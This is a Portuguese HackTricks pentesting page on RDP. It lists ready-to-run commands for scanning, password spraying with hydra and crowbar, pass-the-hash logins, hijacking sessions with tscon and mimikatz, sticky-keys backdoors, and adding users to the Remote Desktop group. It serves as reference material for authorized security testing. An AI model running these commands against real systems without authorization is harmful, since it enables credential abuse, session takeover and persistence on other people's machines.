mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-24 20:13:37 +00:00
179 lines
9.9 KiB
Markdown
179 lines
9.9 KiB
Markdown
# 3389 - Pentesting RDP
|
|
|
|
{% hint style="success" %}
|
|
Aprenda e pratique Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprenda e pratique Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
<figure><img src="../.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
|
|
|
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas 20+ ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
|
|
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
|
|
|
## Informações Básicas
|
|
|
|
Desenvolvido pela Microsoft, o **Remote Desktop Protocol** (**RDP**) é projetado para permitir uma conexão de interface gráfica entre computadores através de uma rede. Para estabelecer tal conexão, o software cliente **RDP** é utilizado pelo usuário, e, simultaneamente, o computador remoto deve operar o software servidor **RDP**. Essa configuração permite o controle e acesso sem interrupções ao ambiente de desktop de um computador distante, essencialmente trazendo sua interface para o dispositivo local do usuário.
|
|
|
|
**Porta padrão:** 3389
|
|
```
|
|
PORT STATE SERVICE
|
|
3389/tcp open ms-wbt-server
|
|
```
|
|
## Enumeração
|
|
|
|
### Automático
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
|
|
```
|
|
{% endcode %}
|
|
|
|
Ele verifica a criptografia disponível e a vulnerabilidade de DoS (sem causar DoS ao serviço) e obtém informações NTLM do Windows (versões).
|
|
|
|
### [Força bruta](../generic-hacking/brute-force.md#rdp)
|
|
|
|
**Cuidado, você pode bloquear contas**
|
|
|
|
### **Spraying de Senhas**
|
|
|
|
**Cuidado, você pode bloquear contas**
|
|
```bash
|
|
# https://github.com/galkan/crowbar
|
|
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
|
|
# hydra
|
|
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
|
|
```
|
|
### Conectar com credenciais/hash conhecidas
|
|
```bash
|
|
rdesktop -u <username> <IP>
|
|
rdesktop -d <domain> -u <username> -p <password> <IP>
|
|
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
|
|
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
|
|
```
|
|
### Verifique credenciais conhecidas contra serviços RDP
|
|
|
|
rdp\_check.py do impacket permite que você verifique se algumas credenciais são válidas para um serviço RDP:
|
|
```bash
|
|
rdp_check <domain>/<name>:<password>@<IP>
|
|
```
|
|
<figure><img src="../.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
|
|
|
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
|
|
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
|
|
|
## **Ataques**
|
|
|
|
### Roubo de sessão
|
|
|
|
Com **permissões de SYSTEM** você pode acessar qualquer **sessão RDP aberta por qualquer usuário** sem precisar saber a senha do proprietário.
|
|
|
|
**Obtenha sessões abertas:**
|
|
```
|
|
query user
|
|
```
|
|
**Acesso à sessão selecionada**
|
|
```bash
|
|
tscon <ID> /dest:<SESSIONNAME>
|
|
```
|
|
Agora você estará dentro da sessão RDP selecionada e terá que se passar por um usuário usando apenas ferramentas e recursos do Windows.
|
|
|
|
**Importante**: Ao acessar uma sessão RDP ativa, você desconectará o usuário que a estava utilizando.
|
|
|
|
Você pode obter senhas do processo despejando-o, mas esse método é muito mais rápido e permite que você interaja com as áreas de trabalho virtuais do usuário (senhas no bloco de notas sem serem salvas no disco, outras sessões RDP abertas em outras máquinas...)
|
|
|
|
#### **Mimikatz**
|
|
|
|
Você também pode usar o mimikatz para fazer isso:
|
|
```bash
|
|
ts::sessions #Get sessions
|
|
ts::remote /id:2 #Connect to the session
|
|
```
|
|
### Sticky-keys & Utilman
|
|
|
|
Combinando esta técnica com **stickykeys** ou **utilman você poderá acessar um CMD administrativo e qualquer sessão RDP a qualquer momento**
|
|
|
|
Você pode procurar RDPs que foram backdoor com uma dessas técnicas já com: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
|
|
|
|
### RDP Process Injection
|
|
|
|
Se alguém de um domínio diferente ou com **melhores privilégios fizer login via RDP** no PC onde **você é um Admin**, você pode **injetar** seu beacon no **processo da sessão RDP** dele e agir como ele:
|
|
|
|
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %}
|
|
[rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Adding User to RDP group
|
|
```bash
|
|
net localgroup "Remote Desktop Users" UserLoginName /add
|
|
```
|
|
## Ferramentas Automáticas
|
|
|
|
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
|
|
|
|
**AutoRDPwn** é um framework de pós-exploração criado em Powershell, projetado principalmente para automatizar o ataque **Shadow** em computadores Microsoft Windows. Esta vulnerabilidade (listada como um recurso pela Microsoft) permite que um atacante remoto **veja a área de trabalho de sua vítima sem o seu consentimento**, e até mesmo a controle sob demanda, usando ferramentas nativas do próprio sistema operacional.
|
|
|
|
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
|
|
* Controlar mouse e teclado de forma automatizada a partir da linha de comando
|
|
* Controlar a área de transferência de forma automatizada a partir da linha de comando
|
|
* Criar um proxy SOCKS a partir do cliente que canaliza a comunicação de rede para o alvo via RDP
|
|
* Executar comandos SHELL e PowerShell arbitrários no alvo sem fazer upload de arquivos
|
|
* Fazer upload e download de arquivos para/de o alvo mesmo quando as transferências de arquivos estão desativadas no alvo
|
|
|
|
## Comandos Automáticos HackTricks
|
|
```
|
|
Protocol_Name: RDP #Protocol Abbreviation if there is one.
|
|
Port_Number: 3389 #Comma separated if there is more than one.
|
|
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
|
|
|
|
Entry_1:
|
|
Name: Notes
|
|
Description: Notes for RDP
|
|
Note: |
|
|
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
|
|
|
|
https://book.hacktricks.xyz/pentesting/pentesting-rdp
|
|
|
|
Entry_2:
|
|
Name: Nmap
|
|
Description: Nmap with RDP Scripts
|
|
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
|
|
```
|
|
<figure><img src="../.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
|
|
|
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
|
|
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
|
|
|
{% hint style="success" %}
|
|
Aprenda e pratique Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprenda e pratique Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Suporte ao HackTricks</summary>
|
|
|
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
{% endhint %}
|